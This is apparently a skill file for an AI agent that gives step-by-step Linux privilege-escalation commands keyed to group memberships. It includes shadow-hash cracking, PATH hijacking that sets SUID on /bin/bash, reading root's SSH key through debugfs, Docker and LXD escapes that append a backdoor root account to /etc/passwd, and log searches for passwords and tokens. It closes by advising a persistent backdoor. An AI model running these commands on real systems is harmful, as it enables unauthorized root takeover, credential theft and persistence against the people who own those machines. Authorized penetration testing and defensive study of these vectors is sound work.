| name | linux-group-privesc |
| description | Linux privilege escalation via group membership analysis. Use this skill whenever the user mentions Linux privilege escalation, group membership, sudo access, or needs to check if their current user can escalate privileges through group-based vectors. This skill helps identify exploitable groups like sudo, admin, wheel, shadow, staff, disk, docker, and others that can lead to root access. |
Linux Group-Based Privilege Escalation
This skill helps you identify and exploit privilege escalation vectors based on Linux group memberships. Many Linux systems grant elevated privileges to users based on group membership rather than direct root access.
Quick Start
- Check your current group memberships
- Identify which groups have privilege escalation potential
- Execute the appropriate exploitation method
Step 1: Enumerate Group Memberships
First, determine which groups your current user belongs to:
id
groups
grep -E '^(sudo|admin|wheel|shadow|staff|disk|video|docker|lxc|lxd|adm|backup|operator|lp|mail|auth):' /etc/group
Step 2: Check for Exploitable Groups
Sudo/Admin Groups (Direct Root Access)
Groups: sudo, admin
What it means: Members can execute any command as root via sudo.
Exploitation:
sudo su
sudo -i
Alternative via pkexec:
find / -perm -4000 -name pkexec 2>/dev/null
cat /etc/polkit-1/localauthority.conf.d/*
pkexec /bin/bash
pkexec without GUI (requires 2 SSH sessions):
echo $$
pkexec /bin/bash
pkttyagent --process <PID-from-session1>
Wheel Group (Direct Root Access)
Group: wheel
What it means: Members can execute any command as root via sudo (common on RHEL/CentOS/Fedora).
Exploitation:
sudo su
sudo -i
Shadow Group (Password Hash Access)
Group: shadow
What it means: Can read /etc/shadow to obtain password hashes for offline cracking.
Exploitation:
cat /etc/shadow
hashcat -m 500 /etc/shadow /path/to/wordlist.txt
john --format=sha512crypt /etc/shadow
Hash lock-state interpretation:
!hash - Password was set, then locked
* - No valid password hash ever set
$6$ - SHA-512 hash (most common)
$1$ - MD5 hash
$5$ - SHA-256 hash
Staff Group (PATH Hijacking)
Group: staff
What it means: Can write to /usr/local/ directories which are prioritized in PATH.
Exploitation:
echo $PATH
cat /etc/crontab | grep run-parts
cat > /usr/local/bin/run-parts << 'EOF'
chmod 4777 /bin/bash
EOF
chmod +x /usr/local/bin/run-parts
ls -la /bin/bash
/bin/bash -p
Alternative: Hijack other executables
Disk Group (Filesystem Access)
Group: disk
What it means: Can access block devices directly, effectively reading all filesystem data.
Exploitation:
df -h
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat .ssh/id_rsa
debugfs: cat /etc/shadow
debugfs: quit
debugfs -w /dev/sda1
debugfs: dump /tmp/source.txt /tmp/dest.txt
debugfs: quit
Video Group (Screen Capture)
Group: video
What it means: Can access framebuffer to capture screen contents.
Exploitation:
w
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
Root Group (File Modification)
Group: root
What it means: Can modify certain files owned by root group.
Exploitation:
find / -group root -perm -g=w 2>/dev/null
Docker Group (Container Escape)
Group: docker
What it means: Can mount host filesystem and escape to root.
Exploitation:
docker images
docker run -it --rm -v /:/mnt <image-name> chroot /mnt bash
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <image-name> chroot /mnt bash
echo 'backdoor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
If Docker socket is writable:
ls -la /var/run/docker.sock
LXC/LXD Group (Container Escape)
Groups: lxc, lxd
What it means: Can create containers with host access.
Exploitation:
which lxc
which lxd
lxc launch images:lxc/debian:10 default-container
lxc config device add default-container hostpath disk source / target /mnt/host
lxc exec default-container -- /bin/bash
chroot /mnt/host
Adm Group (Log Access)
Group: adm
What it means: Can read system logs which may contain credentials.
Exploitation:
cat /var/log/auth.log
cat /var/log/syslog
cat /var/log/secure
grep -i 'password' /var/log/*.log
grep -i 'token' /var/log/*.log
grep -i 'api_key' /var/log/*.log
cat /var/log/sudo.log
Backup/Operator/LP/Mail Groups (Credential Discovery)
Groups: backup, operator, lp, mail
What it means: Access to backup archives, print spools, mail spools containing credentials.
Exploitation:
find / -name "*backup*" -type d 2>/dev/null
find / -name "*.tar*" -o -name "*.gz" -o -name "*.zip" 2>/dev/null
ls -la /var/mail/
cat /var/mail/<username>
ls -la /var/spool/cups/
grep -r 'password\|api_key\|token\|secret' /var/backup/ 2>/dev/null
Auth Group (OpenBSD Specific)
Group: auth
What it means: On OpenBSD, can write to authentication files.
Exploitation:
uname -a
ls -la /etc/skey/
ls -la /var/db/yubikey/
Quick Reference Script
Use the helper script to automate group checking:
./scripts/check-group-privesc.sh
Safety Notes
- Always verify you have authorization before testing privilege escalation
- Document findings for legitimate security assessments
- Some exploits may leave traces in logs
- Container escapes may require specific kernel configurations
- Test in controlled environments before production use
Next Steps After Escalation
Once you have root access:
- Create a persistent backdoor (if authorized)
- Audit the system for other vulnerabilities
- Document the attack path for remediation
- Clean up any test files or modifications